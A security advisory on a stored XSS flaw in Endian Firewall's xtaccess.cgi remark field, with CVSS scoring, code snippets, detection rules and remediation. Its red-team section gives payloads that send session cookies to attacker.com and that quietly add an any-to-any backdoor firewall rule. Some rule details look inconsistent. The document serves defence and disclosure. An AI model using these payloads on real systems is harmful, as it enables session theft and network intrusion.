CVE-2026-34811

Executive Summary

CVE-2026-34811 is a stored cross-site scripting (XSS) vulnerability in Endian Firewall version 3.3.25 and prior. An authenticated attacker can inject arbitrary JavaScript via the remark parameter in the /cgi-bin/xtaccess.cgi endpoint. The injected script is stored on the server and executed when other authenticated users view the affected page, leading to session hijacking, credential theft, or further compromise of the firewall management interface. No public exploit code or patch is currently available.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects the proprietary Endian Firewall appliance software.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Base Score: 5.4 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (authenticated user)
• User Interaction: Required (victim must view the page)
• Scope: Changed (impact may extend beyond the vulnerable component)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. Exploitation requires authentication, but the stored nature of the XSS increases the risk of persistent compromise within the management interface.

Deep Dive & Mechanics

The vulnerability resides in the xtaccess.cgi CGI script, which handles external access rules. The remark parameter is used to store a user-provided description for each rule. The application fails to sanitize or encode this input before storing it in the backend database and later rendering it in the web interface.

Attack Flow:

1. An authenticated attacker navigates to the external access rule configuration page.
2. The attacker crafts a malicious payload (e.g., <script>alert('XSS')</script>) and submits it via the remark parameter.
3. The payload is stored in the firewall's configuration database.
4. When any other authenticated user (including administrators) views the list of external access rules, the stored payload is rendered in the browser without proper output encoding.
5. The victim's browser executes the injected JavaScript, which can:
   • Steal session cookies (document.cookie)
   • Perform actions on behalf of the victim (e.g., create new admin accounts)
   • Redirect to phishing pages
   • Exfiltrate sensitive configuration data

Root Cause: Lack of input validation and output encoding for the remark parameter in /cgi-bin/xtaccess.cgi.

Vulnerable vs. Patched Code

Vulnerable Code (Endian Firewall <= 3.3.25):

# /cgi-bin/xtaccess.cgi (simplified)
my $remark = param('remark');
# No sanitization
$db->store_rule($remark);
# Later, when rendering:
print "<td>$remark</td>";  # Direct output without encoding

Patched Code (Hypothetical):

# /cgi-bin/xtaccess.cgi (patched)
use CGI::Util qw(escapeHTML);
my $remark = param('remark');
# Sanitize input
$remark =~ s/<[^>]*>//g;  # Strip HTML tags
$db->store_rule($remark);
# When rendering:
print "<td>" . escapeHTML($remark) . "</td>";  # Encode output

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to an Endian Firewall instance (version <= 3.3.25)
• Valid credentials for a low-privileged user

Exploitation Steps:

1. Log in to the Endian Firewall web interface.
2. Navigate to Firewall > External Access (or similar).
3. Click "Add new rule" or edit an existing rule.
4. In the Remark field, inject the following payload:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

5. Submit the rule.
6. Wait for an administrator or other user to view the external access rules list.
7. The victim's browser will execute the script, sending their session cookie to the attacker's server.

Advanced Payload (Session Hijacking):

<script>
var xhr = new XMLHttpRequest();
xhr.open('GET', '/cgi-bin/xtaccess.cgi?action=add&remark=backdoor&src=any&dst=any&service=any', true);
xhr.withCredentials = true;
xhr.send();
</script>

Blue Team

Detection:

• Monitor HTTP POST requests to /cgi-bin/xtaccess.cgi containing suspicious remark parameters (e.g., <script>, onerror=, javascript:).
• Look for anomalous outbound connections from the firewall management interface to unknown IPs (potential data exfiltration).
• Review web server logs for unusual patterns in the remark field.

Hunting Query (Splunk):

index=web_logs source="/var/log/httpd/access_log"
| search uri="/cgi-bin/xtaccess.cgi" method=POST
| rex field=form_data "remark=(?<remark>[^&]+)"
| search remark IN ("*<script>*", "*onerror*", "*javascript:*")
| table _time, src_ip, user, remark

Indicators of Compromise (IOCs)

• Network IOCs:

  • Outbound HTTP/HTTPS requests from the firewall to attacker-controlled domains (e.g., attacker.com)
  • Unusual POST requests to /cgi-bin/xtaccess.cgi with encoded or suspicious remark parameters

• File IOCs:

  • Modified configuration files containing JavaScript payloads (e.g., /etc/endian/firewall/xtaccess.conf)
  • Suspicious entries in the firewall's SQLite database (e.g., /var/endian/firewall/xtaccess.db)

• Log IOCs:

  • Web server logs showing remark values containing <script> tags
  • Authentication logs showing unexpected admin account creation

Detection Engineering

YARA Rule

rule CVE_2026_34811_XSS_Remark {
    meta:
        description = "Detects stored XSS payloads in Endian Firewall xtaccess.cgi remark parameter"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-34811"
    strings:
        $xss_payload = /remark=[^&]*<script[^>]*>/
        $xss_event = /remark=[^&]*on\w+\s*=/
        $xss_javascript = /remark=[^&]*javascript:/
    condition:
        any of them
}

Sigma Rule

title: Stored XSS via Remark Parameter in Endian Firewall
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit CVE-2026-34811 by injecting XSS payloads into the remark parameter of xtaccess.cgi
author: Valters IT
date: 2026-01-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: '/cgi-bin/xtaccess.cgi'
    keywords:
        - 'remark='
        - '<script'
        - 'onerror='
        - 'javascript:'
    condition: selection and keywords
falsepositives:
    - Legitimate use of HTML in remarks (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2026-34811 - Stored XSS via Remark Parameter in Endian Firewall";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/cgi-bin/xtaccess.cgi"; http_uri;
    content:"remark="; http_client_body;
    pcre:"/remark=[^&]*(<script|on\w+=|javascript:)/Pi";
    reference:cve,2026-34811;
    classtype:web-application-attack;
    sid:10000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade: If a patched version becomes available, upgrade immediately. Currently, no patch exists.
2. Input Validation: Implement server-side validation to strip or encode HTML tags from the remark parameter.
3. Output Encoding: Ensure all user-supplied data is HTML-entity encoded before rendering in the web interface.
4. Web Application Firewall (WAF): Deploy a WAF rule to block requests containing <script>, onerror=, or javascript: in the remark parameter.

Long-Term Fixes:

• Apply the principle of least privilege: restrict which users can modify external access rules.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.
• Conduct regular security audits of CGI scripts.

Workaround:

• Disable the external access rule management feature if not required.
• Monitor logs for suspicious activity and manually review all remark fields.

Valters IT

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